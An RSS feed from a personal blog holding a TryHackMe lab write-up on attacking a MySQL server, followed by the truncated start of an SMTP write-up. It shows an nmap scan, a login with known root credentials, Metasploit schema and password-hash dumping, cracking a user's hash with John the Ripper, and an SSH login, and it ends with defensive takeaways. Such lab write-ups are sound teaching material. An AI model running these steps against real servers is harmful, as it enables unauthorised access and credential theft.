<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/series/network-services-2-room/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 20 Oct 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://michaelmuratov.com/series/network-services-2-room/index.xml" rel="self" type="application/rss+xml"/><item><title>TryHackMe - SQL</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</link><pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="initial-reconnaissance">Initial Reconnaissance</h3>
<p>The first step in exploiting a MySQL database is identifying whether the target machine has an exposed MySQL port. By default, MySQL runs on port 3306, but this can be customized by the system administrator, so it&rsquo;s important to scan for common open ports. Typically you can attempt to connect to the MySQL server using common credentials or perform a brute force attack if no rate-limiting is in place.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-10-06 02:34 BST
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-244-95.eu-west-1.compute.internal <span class="o">(</span>10.10.244.95<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Host is up <span class="o">(</span>0.0012s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">PORT     STATE SERVICE
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">22/tcp   open  ssh
</span></span><span class="line"><span class="ln">10</span><span class="cl">3306/tcp open  mysql
</span></span><span class="line"><span class="ln">11</span><span class="cl">MAC Address: 02:59:70:A7:8E:95 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 1.67 seconds</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.</p>
      </div>
  </div><h4 id="using-stolen-credentials">Using stolen credentials</h4>
<p>For this box we already know the credentials of the MySQL server <code>username: root</code> and <code>password:password</code> obtained previously and we&rsquo;ll be using this to gain further access on the server. Once connected and authenticated using the credentials we can enumerate the database to gather more information about the system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">username</span><span class="o">=</span>root
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~#  mysql -h <span class="nv">$IP</span> -u <span class="nv">$username</span> -p
</span></span><span class="line"><span class="ln">3</span><span class="cl">Enter password: password</span></span></code></pre></div>
<h3 id="enumeration">Enumeration</h3>
<p>We&rsquo;ll be using modules from Metasploit to extract information from the database. First thing we&rsquo;ll do is submit an authenticated request to show the databases present on the MySQL server. We can do this by setting the <code>RHOSTS, USERNAME, PASSWORD</code> to the ip and credentials of the server and by initiating the SQL <code>show databases</code> query command.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_sql
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> SQL show databases
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">Module options <span class="o">(</span>auxiliary/admin/mysql/mysql_sql<span class="o">)</span>:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name  Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----  ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SQL   show databases   yes       The SQL to execute.
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">26</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">27</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">28</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">29</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running module against 10.10.244.95
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Sending statement: <span class="s1">&#39;show databases&#39;</span>...
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> information_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> mysql <span class="p">|</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> performance_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> sys <span class="p">|</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="reading-mysql-database">Reading MySQL Database</h4>
<p>We can further analyze the structure of the MySQL database by dumping the schema of all tables using the Metasploit module <code>mysql_schemadump</code>. This module allows us to retrieve the database schema, which includes detailed information about the structure of the databases, tables, columns, data types, and relationships between different tables within the MySQL server. This information can be critical for targeted exploitation. For example, knowing the names and structures of the tables enables us to focus on tables that likely contain sensitive information, such as <code>users, passwords, sessions, or admin</code>.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_schemadump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_schemadump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Name             Current Setting  Required  Description
</span></span><span class="line"><span class="ln">10</span><span class="cl">   ----             ---------------  --------  -----------
</span></span><span class="line"><span class="ln">11</span><span class="cl">   DISPLAY_RESULTS  <span class="nb">true</span>             yes       Display the Results to the Screen
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">17</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">18</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">24</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">25</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">26</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">27</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>maxone per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl">- TableName: x<span class="nv">$waits_global_by_latency</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    Columns:
</span></span><span class="line"><span class="ln">35</span><span class="cl">    - ColumnName: events
</span></span><span class="line"><span class="ln">36</span><span class="cl">      ColumnType: varchar<span class="o">(</span>128<span class="o">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    - ColumnName: total
</span></span><span class="line"><span class="ln">38</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">39</span><span class="cl">    - ColumnName: total_latency
</span></span><span class="line"><span class="ln">40</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">41</span><span class="cl">    - ColumnName: avg_latency
</span></span><span class="line"><span class="ln">42</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">43</span><span class="cl">    - ColumnName: max_latency
</span></span><span class="line"><span class="ln">44</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="mysql-hashdump">MySQL Hashdump</h4>
<p>We will also use the <code>mysql_hashdump</code> module which is a powerful tool used to extract password hashes from a MySQL server, which can then be leveraged for further attacks. By using this module, attackers can retrieve hashed password values stored within the MySQL user table, typically located in the user table. In this case we were able to identify the entry <code>carl</code> with its corresponding password hash.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; auxiliary/scanner/mysql/mysql_hashdump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_hashdump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">21</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">22</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h3 id="cracking-the-hash">Cracking the Hash</h3>
<p>We can use John the Ripper, a popular password-cracking tool, to reverse-engineer the hash into its original ASCII format. John the Ripper works by taking the hashed password and comparing it against a large set of potential plaintext passwords, which are hashed in the same algorithm. If it finds a match, it reveals the original password.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nb">echo</span> carl:*EA031893AA21444B170FC2162A56978B8CEECE18 &gt; hash.txt
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~# john hash.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Proceeding with wordlist:/opt/john/password.lst
</span></span><span class="line"><span class="ln">5</span><span class="cl">Proceeding with incremental:ASCII
</span></span><span class="line"><span class="ln">6</span><span class="cl">doggie           <span class="o">(</span>carl<span class="o">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">1g 0:00:00:02 DONE 3/3 <span class="o">(</span>2024-10-06 02:57<span class="o">)</span> 0.4566g/s 1043Kp/s 1043Kc/s 1043KC/s doggie..doggia</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses John the Ripper in its default configuration, utilizing a built-in word list to attempt to crack the single password hash stored in the text file.&quot;</p>
      </div>
  </div><h3 id="accessing-the-mysql-server">Accessing the MySQL Server</h3>
<p>Having access to the username and password allows us to SSH directly into the server and gain access to its resources directly.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# ssh carl@10.10.244.95
</span></span><span class="line"><span class="ln">2</span><span class="cl">carl@10.10.244.95<span class="err">&#39;</span>s password: doggie
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-96-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">carl@polomysql:~$</span></span></code></pre></div>
<h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>Credential-Based Exploitation:</strong> Gaining access to MySQL using known credentials (like root with a weak password) can lead to control over the database and server, emphasizing the importance of strong, unique credentials and limiting root access.</p>
</li>
<li>
<p><strong>Metasploit Modules as Recon Tools:</strong> Metasploit&rsquo;s mysql_schemadump and mysql_hashdump modules are effective for looking into database structure and extracting sensitive data like password hashes.</p>
</li>
<li>
<p><strong>Importance of Salting:</strong> Salting passwords before hashing significantly strengthens security by making brute force and rainbow table attacks impractical, as each password hash becomes unique, removing the effectiveness of tools like John the Ripper. This highlights the importance of using salts in password storage to mitigate hash-cracking attacks.</p>
</li>
</ul>
]]></content:encoded></item><item><title>TryHackMe - SMTP</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="smtp-intrusion">SMTP Intrusion</h3>
